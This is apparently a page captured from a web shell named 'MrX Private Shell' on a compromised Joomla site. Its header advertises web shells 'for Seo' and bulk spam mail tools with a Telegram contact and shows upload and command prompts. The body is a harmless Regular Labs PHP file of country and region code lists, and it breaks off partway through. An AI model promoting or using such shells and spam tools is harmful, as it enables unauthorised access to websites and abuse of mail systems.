__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package         Regular Labs Library
 * @version         23.12.10783
 * 
 * @author          Peter van Westen <[email protected]>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Library\Form\Field;

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper as JHtml;
use RegularLabs\Library\Form\Form as RL_Form;
use RegularLabs\Library\Form\FormField as RL_FormField;
use RegularLabs\Library\RegEx as RL_RegEx;

class GeoField extends RL_FormField
{
    public      $attributes       = [
        'group' => 'countries',
    ];
    public      $continents       = [
        'AF' => 'Africa',
        'AS' => 'Asia',
        'EU' => 'Europe',
        'NA' => 'North America',
        'SA' => 'South America',
        'OC' => 'Oceania',
        'AN' => 'Antarctica',
    ];
    public      $countries        = [
        'AF' => "Afghanistan",
        'AX' => "Aland Islands",
        'AL' => "Albania",
        'DZ' => "Algeria",
        'AS' => "American Samoa",
        'AD' => "Andorra",
        'AO' => "Angola",
        'AI' => "Anguilla",
        'AQ' => "Antarctica",
        'AG' => "Antigua and Barbuda",
        'AR' => "Argentina",
        'AM' => "Armenia",
        'AW' => "Aruba",
        'AU' => "Australia",
        'AT' => "Austria",
        'AZ' => "Azerbaijan",
        'BS' => "Bahamas",
        'BH' => "Bahrain",
        'BD' => "Bangladesh",
        'BB' => "Barbados",
        'BY' => "Belarus",
        'BE' => "Belgium",
        'BZ' => "Belize",
        'BJ' => "Benin",
        'BM' => "Bermuda",
        'BT' => "Bhutan",
        'BO' => "Bolivia",
        'BA' => "Bosnia and Herzegovina",
        'BW' => "Botswana",
        'BV' => "Bouvet Island",
        'BR' => "Brazil",
        'IO' => "British Indian Ocean Territory",
        'BN' => "Brunei Darussalam",
        'BG' => "Bulgaria",
        'BF' => "Burkina Faso",
        'BI' => "Burundi",
        'KH' => "Cambodia",
        'CM' => "Cameroon",
        'CA' => "Canada",
        'CV' => "Cape Verde",
        'KY' => "Cayman Islands",
        'CF' => "Central African Republic",
        'TD' => "Chad",
        'CL' => "Chile",
        'CN' => "China",
        'CX' => "Christmas Island",
        'CC' => "Cocos (Keeling) Islands",
        'CO' => "Colombia",
        'KM' => "Comoros",
        'CG' => "Congo",
        'CD' => "Congo, The Democratic Republic of the",
        'CK' => "Cook Islands",
        'CR' => "Costa Rica",
        'CI' => "Cote d'Ivoire",
        'HR' => "Croatia",
        'CU' => "Cuba",
        'CY' => "Cyprus",
        'CZ' => "Czech Republic",
        'DK' => "Denmark",
        'DJ' => "Djibouti",
        'DM' => "Dominica",
        'DO' => "Dominican Republic",
        'EC' => "Ecuador",
        'EG' => "Egypt",
        'SV' => "El Salvador",
        'GQ' => "Equatorial Guinea",
        'ER' => "Eritrea",
        'EE' => "Estonia",
        'ET' => "Ethiopia",
        'FK' => "Falkland Islands (Malvinas)",
        'FO' => "Faroe Islands",
        'FJ' => "Fiji",
        'FI' => "Finland",
        'FR' => "France",
        'GF' => "French Guiana",
        'PF' => "French Polynesia",
        'TF' => "French Southern Territories",
        'GA' => "Gabon",
        'GM' => "Gambia",
        'GE' => "Georgia",
        'DE' => "Germany",
        'GH' => "Ghana",
        'GI' => "Gibraltar",
        'GR' => "Greece",
        'GL' => "Greenland",
        'GD' => "Grenada",
        'GP' => "Guadeloupe",
        'GU' => "Guam",
        'GT' => "Guatemala",
        'GG' => "Guernsey",
        'GN' => "Guinea",
        'GW' => "Guinea-Bissau",
        'GY' => "Guyana",
        'HT' => "Haiti",
        'HM' => "Heard Island and McDonald Islands",
        'VA' => "Holy See (Vatican City State)",
        'HN' => "Honduras",
        'HK' => "Hong Kong",
        'HU' => "Hungary",
        'IS' => "Iceland",
        'IN' => "India",
        'ID' => "Indonesia",
        'IR' => "Iran, Islamic Republic of",
        'IQ' => "Iraq",
        'IE' => "Ireland",
        'IM' => "Isle of Man",
        'IL' => "Israel",
        'IT' => "Italy",
        'JM' => "Jamaica",
        'JP' => "Japan",
        'JE' => "Jersey",
        'JO' => "Jordan",
        'KZ' => "Kazakhstan",
        'KE' => "Kenya",
        'KI' => "Kiribati",
        'KP' => "Korea, Democratic People's Republic of",
        'KR' => "Korea, Republic of",
        'KW' => "Kuwait",
        'KG' => "Kyrgyzstan",
        'LA' => "Lao People's Democratic Republic",
        'LV' => "Latvia",
        'LB' => "Lebanon",
        'LS' => "Lesotho",
        'LR' => "Liberia",
        'LY' => "Libyan Arab Jamahiriya",
        'LI' => "Liechtenstein",
        'LT' => "Lithuania",
        'LU' => "Luxembourg",
        'MO' => "Macao",
        'MK' => "Macedonia",
        'MG' => "Madagascar",
        'MW' => "Malawi",
        'MY' => "Malaysia",
        'MV' => "Maldives",
        'ML' => "Mali",
        'MT' => "Malta",
        'MH' => "Marshall Islands",
        'MQ' => "Martinique",
        'MR' => "Mauritania",
        'MU' => "Mauritius",
        'YT' => "Mayotte",
        'MX' => "Mexico",
        'FM' => "Micronesia, Federated States of",
        'MD' => "Moldova, Republic of",
        'MC' => "Monaco",
        'MN' => "Mongolia",
        'ME' => "Montenegro",
        'MS' => "Montserrat",
        'MA' => "Morocco",
        'MZ' => "Mozambique",
        'MM' => "Myanmar",
        'NA' => "Namibia",
        'NR' => "Nauru",
        'NP' => "Nepal",
        'NL' => "Netherlands",
        'AN' => "Netherlands Antilles",
        'NC' => "New Caledonia",
        'NZ' => "New Zealand",
        'NI' => "Nicaragua",
        'NE' => "Niger",
        'NG' => "Nigeria",
        'NU' => "Niue",
        'NF' => "Norfolk Island",
        'MP' => "Northern Mariana Islands",
        'NO' => "Norway",
        'OM' => "Oman",
        'PK' => "Pakistan",
        'PW' => "Palau",
        'PS' => "Palestinian Territory",
        'PA' => "Panama",
        'PG' => "Papua New Guinea",
        'PY' => "Paraguay",
        'PE' => "Peru",
        'PH' => "Philippines",
        'PN' => "Pitcairn",
        'PL' => "Poland",
        'PT' => "Portugal",
        'PR' => "Puerto Rico",
        'QA' => "Qatar",
        'RE' => "Reunion",
        'RO' => "Romania",
        'RU' => "Russian Federation",
        'RW' => "Rwanda",
        'SH' => "Saint Helena",
        'KN' => "Saint Kitts and Nevis",
        'LC' => "Saint Lucia",
        'PM' => "Saint Pierre and Miquelon",
        'VC' => "Saint Vincent and the Grenadines",
        'WS' => "Samoa",
        'SM' => "San Marino",
        'ST' => "Sao Tome and Principe",
        'SA' => "Saudi Arabia",
        'SN' => "Senegal",
        'RS' => "Serbia",
        'SC' => "Seychelles",
        'SL' => "Sierra Leone",
        'SG' => "Singapore",
        'SK' => "Slovakia",
        'SI' => "Slovenia",
        'SB' => "Solomon Islands",
        'SO' => "Somalia",
        'ZA' => "South Africa",
        'GS' => "South Georgia and the South Sandwich Islands",
        'ES' => "Spain",
        'LK' => "Sri Lanka",
        'SD' => "Sudan",
        'SR' => "Suriname",
        'SJ' => "Svalbard and Jan Mayen",
        'SZ' => "Swaziland",
        'SE' => "Sweden",
        'CH' => "Switzerland",
        'SY' => "Syrian Arab Republic",
        'TW' => "Taiwan",
        'TJ' => "Tajikistan",
        'TZ' => "Tanzania, United Republic of",
        'TH' => "Thailand",
        'TL' => "Timor-Leste",
        'TG' => "Togo",
        'TK' => "Tokelau",
        'TO' => "Tonga",
        'TT' => "Trinidad and Tobago",
        'TN' => "Tunisia",
        'TR' => "Turkey",
        'TM' => "Turkmenistan",
        'TC' => "Turks and Caicos Islands",
        'TV' => "Tuvalu",
        'UG' => "Uganda",
        'UA' => "Ukraine",
        'AE' => "United Arab Emirates",
        'GB' => "United Kingdom",
        'US' => "United States",
        'UM' => "United States Minor Outlying Islands",
        'UY' => "Uruguay",
        'UZ' => "Uzbekistan",
        'VU' => "Vanuatu",
        'VE' => "Venezuela",
        'VN' => "Vietnam",
        'VG' => "Virgin Islands, British",
        'VI' => "Virgin Islands, U.S.",
        'WF' => "Wallis and Futuna",
        'EH' => "Western Sahara",
        'YE' => "Yemen",
        'ZM' => "Zambia",
        'ZW' => "Zimbabwe",
    ];
    public bool $is_select_list   = true;
    public      $region_countries = [
        'AU' => "Australia",
        'BE' => "Belgium",
        'BR' => "Brazil",
        'BG' => "Bulgaria",
        'CA' => "Canada",
        'CN' => "China",
        'CY' => "Cyprus",
        'CZ' => "Czech Republic",
        'DK' => "Denmark",
        'EG' => "Egypt",
        'FR' => "France",
        'DE' => "Germany",
        'GR' => "Greece",
        'HK' => "Hong Kong",
        'HU' => "Hungary",
        'IS' => "Iceland",
        'IN' => "India",
        'ID' => "Indonesia",
        'IE' => "Ireland",
        'IL' => "Israel",
        'IT' => "Italy",
        'JP' => "Japan",
        'MX' => "Mexico",
        'MA' => "Morocco",
        'NL' => "Netherlands",
        'NG' => "Nigeria",
        'NO' => "Norway",
        'PH' => "Philippines",
        'PL' => "Poland",
        'PT' => "Portugal",
        'RO' => "Romania",
        'RU' => "Russian Federation",
        'SK' => "Slovakia",
        'SI' => "Slovenia",
        'ZA' => "South Africa",
        'ES' => "Spain",
        'SE' => "Sweden",
        'CH' => "Switzerland",
        'TW' => "Taiwan",
        'TH' => "Thailand",
        'TR' => "Turkey",
        'UA' => "Ukraine",
        'AE' => "United Arab Emirates",
        'GB' => "United Kingdom",
        'US' => "United States",
        'VN' => "Vietnam",
    ];
    public      $regions          = [
        "Australia"            => [
            'AU-ACT' => "Australian Capital Territory",
            'AU-NSW' => "New South Wales",
            'AU-NT'  => "Northern Territory",
            'AU-QLD' => "Queensland",
            'AU-SA'  => "South Australia",
            'AU-TAS' => "Tasmania",
            'AU-VIC' => "Victoria",
            'AU-WA'  => "Western Australia",
        ],
        "Belgium"              => [
            'BE-VAN' => "Antwerpen",
            'BE-WBR' => "Brabant Wallon",
            'BE-BRU' => "Brussels-Capital Region",
            'BE-WHT' => "Hainaut",
            'BE-WLG' => "Liege",
            'BE-VLI' => "Limburg",
            'BE-WLX' => "Luxembourg, Luxemburg",
            'BE-WNA' => "Namur",
            'BE-VOV' => "Oost-Vlaanderen",
            'BE-VBR' => "Vlaams-Brabant",
            'BE-VWV' => "West-Vlaanderen",
        ],
        "Brazil"               => [
            'BR-AC' => "Acre",
            'BR-AL' => "Alagoas",
            'BR-AP' => "Amapá",
            'BR-AM' => "Amazonas",
            'BR-BA' => "Bahia",
            'BR-CE' => "Ceará",
            'BR-DF' => "Distrito Federal",
            'BR-ES' => "Espírito Santo",
            'BR-FN' => "Fernando de Noronha",
            'BR-GO' => "Goiás",
            'BR-MA' => "Maranhão",
            'BR-MT' => "Mato Grosso",
            'BR-MS' => "Mato Grosso do Sul",
            'BR-MG' => "Minas Gerais",
            'BR-PR' => "Paraná",
            'BR-PB' => "Paraíba",
            'BR-PA' => "Pará",
            'BR-PE' => "Pernambuco",
            'BR-PI' => "Piauí",
            'BR-RN' => "Rio Grande do Norte",
            'BR-RS' => "Rio Grande do Sul",
            'BR-RJ' => "Rio de Janeiro",
            'BR-RO' => "Rondônia",
            'BR-RR' => "Roraima",
            'BR-SC' => "Santa Catarina",
            'BR-SE' => "Sergipe",
            'BR-SP' => "São Paulo",
            'BR-TO' => "Tocantins",
        ],
        "Bulgaria"             => [
            'BG-01' => "Blagoevgrad",
            'BG-02' => "Burgas",
            'BG-08' => "Dobrich",
            'BG-07' => "Gabrovo",
            'BG-26' => "Haskovo",
            'BG-09' => "Kardzhali",
            'BG-10' => "Kyustendil",
            'BG-11' => "Lovech",
            'BG-12' => "Montana",
            'BG-13' => "Pazardzhik",
            'BG-14' => "Pernik",
            'BG-15' => "Pleven",
            'BG-16' => "Plovdiv",
            'BG-17' => "Razgrad",
            'BG-18' => "Ruse",
            'BG-27' => "Shumen",
            'BG-19' => "Silistra",
            'BG-20' => "Sliven",
            'BG-21' => "Smolyan",
            'BG-23' => "Sofia",
            'BG-22' => "Sofia-Grad",
            'BG-24' => "Stara Zagora",
            'BG-25' => "Targovishte",
            'BG-03' => "Varna",
            'BG-04' => "Veliko Tarnovo",
            'BG-05' => "Vidin",
            'BG-06' => "Vratsa",
            'BG-28' => "Yambol",
        ],
        "Canada"               => [
            'CA-AB' => "Alberta",
            'CA-BC' => "British Columbia",
            'CA-MB' => "Manitoba",
            'CA-NB' => "New Brunswick",
            'CA-NL' => "Newfoundland and Labrador",
            'CA-NT' => "Northwest Territories",
            'CA-NS' => "Nova Scotia",
            'CA-NU' => "Nunavut",
            'CA-ON' => "Ontario",
            'CA-PE' => "Prince Edward Island",
            'CA-QC' => "Quebec",
            'CA-SK' => "Saskatchewan",
            'CA-YT' => "Yukon Territory",
        ],
        "China"                => [
            'CN-34' => "Anhui",
            'CN-92' => "Aomen (Macau)",
            'CN-11' => "Beijing",
            'CN-50' => "Chongqing",
            'CN-35' => "Fujian",
            'CN-62' => "Gansu",
            'CN-44' => "Guangdong",
            'CN-45' => "Guangxi",
            'CN-52' => "Guizhou",
            'CN-46' => "Hainan",
            'CN-13' => "Hebei",
            'CN-23' => "Heilongjiang",
            'CN-41' => "Henan",
            'CN-42' => "Hubei",
            'CN-43' => "Hunan",
            'CN-32' => "Jiangsu",
            'CN-36' => "Jiangxi",
            'CN-22' => "Jilin",
            'CN-21' => "Liaoning",
            'CN-15' => "Nei Mongol",
            'CN-64' => "Ningxia",
            'CN-63' => "Qinghai",
            'CN-61' => "Shaanxi",
            'CN-37' => "Shandong",
            'CN-31' => "Shanghai",
            'CN-14' => "Shanxi",
            'CN-51' => "Sichuan",
            'CN-71' => "Taiwan",
            'CN-12' => "Tianjin",
            'CN-91' => "Xianggang (Hong-Kong)",
            'CN-65' => "Xinjiang",
            'CN-54' => "Xizang",
            'CN-53' => "Yunnan",
            'CN-33' => "Zhejiang",
        ],
        "Cyprus"               => [
            'CY-04' => "Ammóchostos",
            'CY-06' => "Kerýneia",
            'CY-01' => "Lefkosía",
            'CY-02' => "Lemesós",
            'CY-03' => "Lárnaka",
            'CY-05' => "Páfos",
        ],
        "Czech Republic"       => [
            'CZ-201' => "Benešov",
            'CZ-202' => "Beroun",
            'CZ-621' => "Blansko",
            'CZ-622' => "Brno-město",
            'CZ-623' => "Brno-venkov",
            'CZ-801' => "Bruntál",
            'CZ-624' => "Břeclav",
            'CZ-411' => "Cheb",
            'CZ-422' => "Chomutov",
            'CZ-531' => "Chrudim",
            'CZ-321' => "Domažlice",
            'CZ-421' => "Děčín",
            'CZ-802' => "Frýdek Místek",
            'CZ-611' => "Havlíčkův Brod",
            'CZ-625' => "Hodonín",
            'CZ-521' => "Hradec Králové",
            'CZ-512' => "Jablonec nad Nisou",
            'CZ-711' => "Jeseník",
            'CZ-612' => "Jihlava",
            'CZ-JM'  => "Jihomoravský kraj",
            'CZ-JC'  => "Jihočeský kraj",
            'CZ-313' => "Jindřichův Hradec",
            'CZ-522' => "Jičín",
            'CZ-KA'  => "Karlovarský kraj",
            'CZ-412' => "Karlovy Vary",
            'CZ-803' => "Karviná",
            'CZ-203' => "Kladno",
            'CZ-322' => "Klatovy",
            'CZ-204' => "Kolín",
            'CZ-721' => "Kromĕříž",
            'CZ-KR'  => "Královéhradecký kraj",
            'CZ-205' => "Kutná Hora",
            'CZ-513' => "Liberec",
            'CZ-LI'  => "Liberecký kraj",
            'CZ-423' => "Litoměřice",
            'CZ-424' => "Louny",
            'CZ-207' => "Mladá Boleslav",
            'CZ-MO'  => "Moravskoslezský kraj",
            'CZ-425' => "Most",
            'CZ-206' => "Mělník",
            'CZ-804' => "Nový Jičín",
            'CZ-208' => "Nymburk",
            'CZ-523' => "Náchod",
            'CZ-712' => "Olomouc",
            'CZ-OL'  => "Olomoucký kraj",
            'CZ-805' => "Opava",
            'CZ-806' => "Ostrava město",
            'CZ-532' => "Pardubice",
            'CZ-PA'  => "Pardubický kraj",
            'CZ-613' => "Pelhřimov",
            'CZ-324' => "Plzeň jih",
            'CZ-323' => "Plzeň město",
            'CZ-325' => "Plzeň sever",
            'CZ-PL'  => "Plzeňský kraj",
            'CZ-315' => "Prachatice",
            'CZ-101' => "Praha 1",
            'CZ-10A' => "Praha 10",
            'CZ-10B' => "Praha 11",
            'CZ-10C' => "Praha 12",
            'CZ-10D' => "Praha 13",
            'CZ-10E' => "Praha 14",
            'CZ-10F' => "Praha 15",
            'CZ-102' => "Praha 2",
            'CZ-103' => "Praha 3",
            'CZ-104' => "Praha 4",
            'CZ-105' => "Praha 5",
            'CZ-106' => "Praha 6",
            'CZ-107' => "Praha 7",
            'CZ-108' => "Praha 8",
            'CZ-109' => "Praha 9",
            'CZ-209' => "Praha východ",
            'CZ-20A' => "Praha západ",
            'CZ-PR'  => "Praha, hlavní město",
            'CZ-713' => "Prostĕjov",
            'CZ-314' => "Písek",
            'CZ-714' => "Přerov",
            'CZ-20B' => "Příbram",
            'CZ-20C' => "Rakovník",
            'CZ-326' => "Rokycany",
            'CZ-524' => "Rychnov nad Kněžnou",
            'CZ-514' => "Semily",
            'CZ-413' => "Sokolov",
            'CZ-316' => "Strakonice",
            'CZ-ST'  => "Středočeský kraj",
            'CZ-533' => "Svitavy",
            'CZ-327' => "Tachov",
            'CZ-426' => "Teplice",
            'CZ-525' => "Trutnov",
            'CZ-317' => "Tábor",
            'CZ-614' => "Třebíč",
            'CZ-722' => "Uherské Hradištĕ",
            'CZ-723' => "Vsetín",
            'CZ-VY'  => "Vysočina",
            'CZ-626' => "Vyškov",
            'CZ-724' => "Zlín",
            'CZ-ZL'  => "Zlínský kraj",
            'CZ-627' => "Znojmo",
            'CZ-US'  => "Ústecký kraj",
            'CZ-427' => "Ústí nad Labem",
            'CZ-534' => "Ústí nad Orlicí",
            'CZ-511' => "Česká Lípa",
            'CZ-311' => "České Budějovice",
            'CZ-312' => "Český Krumlov",
            'CZ-715' => "Šumperk",
            'CZ-615' => "Žd’ár nad Sázavou",
        ],
        "Denmark"              => [
            'DK-84' => "Hovedstaden",
            'DK-82' => "Midtjylland",
            'DK-81' => "Nordjylland",
            'DK-85' => "Sjælland",
            'DK-83' => "Syddanmark",
        ],
        "Egypt"                => [
            'EG-DK'  => "Ad Daqahlīyah",
            'EG-BA'  => "Al Bahr al Ahmar",
            'EG-BH'  => "Al Buhayrah",
            'EG-FYM' => "Al Fayyūm",
            'EG-GH'  => "Al Gharbīyah",
            'EG-ALX' => "Al Iskandarīyah",
            'EG-IS'  => "Al Ismā`īlīyah",
            'EG-GZ'  => "Al Jīzah",
            'EG-MN'  => "Al Minyā",
            'EG-MNF' => "Al Minūfīyah",
            'EG-KB'  => "Al Qalyūbīyah",
            'EG-C'   => "Al Qāhirah",
            'EG-WAD' => "Al Wādī al Jadīd",
            'EG-SUZ' => "As Suways",
            'EG-SU'  => "As Sādis min Uktūbar",
            'EG-SHR' => "Ash Sharqīyah",
            'EG-ASN' => "Aswān",
            'EG-AST' => "Asyūt",
            'EG-BNS' => "Banī Suwayf",
            'EG-PTS' => "Būr Sa`īd",
            'EG-DT'  => "Dumyāt",
            'EG-JS'  => "Janūb Sīnā'",
            'EG-KFS' => "Kafr ash Shaykh",
            'EG-MT'  => "Matrūh",
            'EG-KN'  => "Qinā",
            'EG-SIN' => "Shamal Sīnā'",
            'EG-SHG' => "Sūhāj",
            'EG-HU'  => "Ḩulwān",
        ],
        "France"               => [
            'FR-01' => "Ain",
            'FR-02' => "Aisne",
            'FR-03' => "Allier",
            'FR-06' => "Alpes-Maritimes",
            'FR-04' => "Alpes-de-Haute-Provence",
            'FR-A'  => "Alsace",
            'FR-B'  => "Aquitaine",
            'FR-08' => "Ardennes",
            'FR-07' => "Ardèche",
            'FR-09' => "Ariège",
            'FR-10' => "Aube",
            'FR-11' => "Aude",
            'FR-C'  => "Auvergne",
            'FR-12' => "Aveyron",
            'FR-67' => "Bas-Rhin",
            'FR-P'  => "Basse-Normandie",
            'FR-13' => "Bouches-du-Rhône",
            'FR-D'  => "Bourgogne",
            'FR-E'  => "Bretagne",
            'FR-14' => "Calvados",
            'FR-15' => "Cantal",
            'FR-F'  => "Centre",
            'FR-G'  => "Champagne-Ardenne",
            'FR-16' => "Charente",
            'FR-17' => "Charente-Maritime",
            'FR-18' => "Cher",
            'FR-CP' => "Clipperton",
            'FR-19' => "Corrèze",
            'FR-H'  => "Corse",
            'FR-2A' => "Corse-du-Sud",
            'FR-23' => "Creuse",
            'FR-21' => "Côte-d'Or",
            'FR-22' => "Côtes-d'Armor",
            'FR-79' => "Deux-Sèvres",
            'FR-24' => "Dordogne",
            'FR-25' => "Doubs",
            'FR-26' => "Drôme",
            'FR-91' => "Essonne",
            'FR-27' => "Eure",
            'FR-28' => "Eure-et-Loir",
            'FR-29' => "Finistère",
            'FR-I'  => "Franche-Comté",
            'FR-30' => "Gard",
            'FR-32' => "Gers",
            'FR-33' => "Gironde",
            'FR-GP' => "Guadeloupe",
            'FR-GF' => "Guyane",
            'FR-68' => "Haut-Rhin",
            'FR-2B' => "Haute-Corse",
            'FR-31' => "Haute-Garonne",
            'FR-43' => "Haute-Loire",
            'FR-52' => "Haute-Marne",
            'FR-Q'  => "Haute-Normandie",
            'FR-74' => "Haute-Savoie",
            'FR-70' => "Haute-Saône",
            'FR-87' => "Haute-Vienne",
            'FR-05' => "Hautes-Alpes",
            'FR-65' => "Hautes-Pyrénées",
            'FR-92' => "Hauts-de-Seine",
            'FR-34' => "Hérault",
            'FR-35' => "Ille-et-Vilaine",
            'FR-36' => "Indre",
            'FR-37' => "Indre-et-Loire",
            'FR-38' => "Isère",
            'FR-39' => "Jura",
            'FR-40' => "Landes",
            'FR-K'  => "Languedoc-Roussillon",
            'FR-L'  => "Limousin",
            'FR-41' => "Loir-et-Cher",
            'FR-42' => "Loire",
            'FR-44' => "Loire-Atlantique",
            'FR-45' => "Loiret",
            'FR-M'  => "Lorraine",
            'FR-46' => "Lot",
            'FR-47' => "Lot-et-Garonne",
            'FR-48' => "Lozère",
            'FR-49' => "Maine-et-Loire",
            'FR-50' => "Manche",
            'FR-51' => "Marne",
            'FR-MQ' => "Martinique",
            'FR-53' => "Mayenne",
            'FR-YT' => "Mayotte",
            'FR-54' => "Meurthe-et-Moselle",
            'FR-55' => "Meuse",
            'FR-N'  => "Midi-Pyrénées",
            'FR-56' => "Morbihan",
            'FR-57' => "Moselle",
            'FR-58' => "Nièvre",
            'FR-59' => "Nord",
            'FR-O'  => "Nord - Pas-de-Calais",
            'FR-NC' => "Nouvelle-Calédonie",
            'FR-60' => "Oise",
            'FR-61' => "Orne",
            'FR-75' => "Paris",
            'FR-62' => "Pas-de-Calais",
            'FR-R'  => "Pays de la Loire",
            'FR-S'  => "Picardie",
            'FR-T'  => "Poitou-Charentes",
            'FR-PF' => "Polynésie française",
            'FR-U'  => "Provence-Alpes-Côte d'Azur",
            'FR-63' => "Puy-de-Dôme",
            'FR-64' => "Pyrénées-Atlantiques",
            'FR-66' => "Pyrénées-Orientales",
            'FR-69' => "Rhône",
            'FR-V'  => "Rhône-Alpes",
            'FR-RE' => "Réunion",
            'FR-BL' => "Saint-Barthélemy",
            'FR-MF' => "Saint-Martin",
            'FR-PM' => "Saint-Pierre-et-Miquelon",
            'FR-72' => "Sarthe",
            'FR-73' => "Savoie",
            'FR-71' => "Saône-et-Loire",
            'FR-76' => "Seine-Maritime",
            'FR-93' => "Seine-Saint-Denis",
            'FR-77' => "Seine-et-Marne",
            'FR-80' => "Somme",
            'FR-81' => "Tarn",
            'FR-82' => "Tarn-et-Garonne",
            'FR-TF' => "Terres australes françaises",
            'FR-90' => "Territoire de Belfort",
            'FR-95' => "Val d'Oise",
            'FR-94' => "Val-de-Marne",
            'FR-83' => "Var",
            'FR-84' => "Vaucluse",
            'FR-85' => "Vendée",
            'FR-86' => "Vienne",
            'FR-88' => "Vosges",
            'FR-WF' => "Wallis-et-Futuna",
            'FR-89' => "Yonne",
            'FR-78' => "Yvelines",
            'FR-J'  => "Île-de-France",
        ],
        "Germany"              => [
            'DE-BW' => "Baden-Württemberg",
            'DE-BY' => "Bayern",
            'DE-BE' => "Berlin",
            'DE-BB' => "Brandenburg",
            'DE-HB' => "Bremen",
            'DE-HH' => "Hamburg",
            'DE-HE' => "Hessen",
            'DE-MV' => "Mecklenburg-Vorpommern",
            'DE-NI' => "Niedersachsen",
            'DE-NW' => "Nordrhein-Westfalen",
            'DE-RP' => "Rheinland-Pfalz",
            'DE-SL' => "Saarland",
            'DE-SN' => "Sachsen",
            'DE-ST' => "Sachsen-Anhalt",
            'DE-SH' => "Schleswig-Holstein",
            'DE-TH' => "Thüringen",
        ],
        "Greece"               => [
            'GR-13' => "Achaïa",
            'GR-69' => "Agio Oros",
            'GR-01' => "Aitolia kai Akarnania",
            'GR-A'  => "Anatoliki Makedonia kai Thraki",
            'GR-11' => "Argolida",
            'GR-12' => "Arkadia",
            'GR-31' => "Arta",
            'GR-A1' => "Attiki",
            'GR-64' => "Chalkidiki",
            'GR-94' => "Chania",
            'GR-85' => "Chios",
            'GR-81' => "Dodekanisos",
            'GR-52' => "Drama",
            'GR-G'  => "Dytiki Ellada",
            'GR-C'  => "Dytiki Makedonia",
            'GR-71' => "Evros",
            'GR-05' => "Evrytania",
            'GR-04' => "Evvoias",
            'GR-63' => "Florina",
            'GR-07' => "Fokida",
            'GR-06' => "Fthiotida",
            'GR-51' => "Grevena",
            'GR-14' => "Ileia",
            'GR-53' => "Imathia",
            'GR-33' => "Ioannina",
            'GR-F'  => "Ionia Nisia",
            'GR-D'  => "Ipeiros",
            'GR-91' => "Irakleio",
            'GR-41' => "Karditsa",
            'GR-56' => "Kastoria",
            'GR-55' => "Kavala",
            'GR-23' => "Kefallonia",
            'GR-B'  => "Kentriki Makedonia",
            'GR-22' => "Kerkyra",
            'GR-57' => "Kilkis",
            'GR-15' => "Korinthia",
            'GR-58' => "Kozani",
            'GR-M'  => "Kriti",
            'GR-82' => "Kyklades",
            'GR-16' => "Lakonia",
            'GR-42' => "Larisa",
            'GR-92' => "Lasithi",
            'GR-24' => "Lefkada",
            'GR-83' => "Lesvos",
            'GR-43' => "Magnisia",
            'GR-17' => "Messinia",
            'GR-L'  => "Notio Aigaio",
            'GR-59' => "Pella",
            'GR-J'  => "Peloponnisos",
            'GR-61' => "Pieria",
            'GR-34' => "Preveza",
            'GR-93' => "Rethymno",
            'GR-73' => "Rodopi",
            'GR-84' => "Samos",
            'GR-62' => "Serres",
            'GR-H'  => "Sterea Ellada",
            'GR-32' => "Thesprotia",
            'GR-E'  => "Thessalia",
            'GR-54' => "Thessaloniki",
            'GR-44' => "Trikala",
            'GR-03' => "Voiotia",
            'GR-K'  => "Voreio Aigaio",
            'GR-72' => "Xanthi",
            'GR-21' => "Zakynthos",
        ],
        "Hungary"              => [
            'HU-BA' => "Baranya",
            'HU-BZ' => "Borsod-Abaúj-Zemplén",
            'HU-BU' => "Budapest",
            'HU-BK' => "Bács-Kiskun",
            'HU-BE' => "Békés",
            'HU-BC' => "Békéscsaba",
            'HU-CS' => "Csongrád",
            'HU-DE' => "Debrecen",
            'HU-DU' => "Dunaújváros",
            'HU-EG' => "Eger",
            'HU-FE' => "Fejér",
            'HU-GY' => "Győr",
            'HU-GS' => "Győr-Moson-Sopron",
            'HU-HB' => "Hajdú-Bihar",
            'HU-HE' => "Heves",
            'HU-HV' => "Hódmezővásárhely",
            'HU-JN' => "Jász-Nagykun-Szolnok",
            'HU-KV' => "Kaposvár",
            'HU-KM' => "Kecskemét",
            'HU-KE' => "Komárom-Esztergom",
            'HU-MI' => "Miskolc",
            'HU-NK' => "Nagykanizsa",
            'HU-NY' => "Nyíregyháza",
            'HU-NO' => "Nógrád",
            'HU-PE' => "Pest",
            'HU-PS' => "Pécs",
            'HU-ST' => "Salgótarján",
            'HU-SO' => "Somogy",
            'HU-SN' => "Sopron",
            'HU-SZ' => "Szabolcs-Szatmár-Bereg",
            'HU-SD' => "Szeged",
            'HU-SS' => "Szekszárd",
            'HU-SK' => "Szolnok",
            'HU-SH' => "Szombathely",
            'HU-SF' => "Székesfehérvár",
            'HU-TB' => "Tatabánya",
            'HU-TO' => "Tolna",
            'HU-VA' => "Vas",
            'HU-VM' => "Veszprém",
            'HU-VE' => "Veszprém (county)",
            'HU-ZA' => "Zala",
            'HU-ZE' => "Zalaegerszeg",
            'HU-ER' => "Érd",
        ],
        "Iceland"              => [
            'IS-7' => "Austurland",
            'IS-1' => "Höfuðborgarsvæðið",
            'IS-6' => "Norðurland eystra",
            'IS-5' => "Norðurland vestra",
            'IS-0' => "Reykjavík",
            'IS-8' => "Suðurland",
            'IS-2' => "Suðurnes",
            'IS-4' => "Vestfirðir",
            'IS-3' => "Vesturland",
        ],
        "India"                => [
            'IN-AN' => "Andaman and Nicobar Islands",
            'IN-AP' => "Andhra Pradesh",
            'IN-AR' => "Arunāchal Pradesh",
            'IN-AS' => "Assam",
            'IN-BR' => "Bihār",
            'IN-CH' => "Chandīgarh",
            'IN-CT' => "Chhattīsgarh",
            'IN-DD' => "Damān and Diu",
            'IN-DL' => "Delhi",
            'IN-DN' => "Dādra and Nagar Haveli",
            'IN-GA' => "Goa",
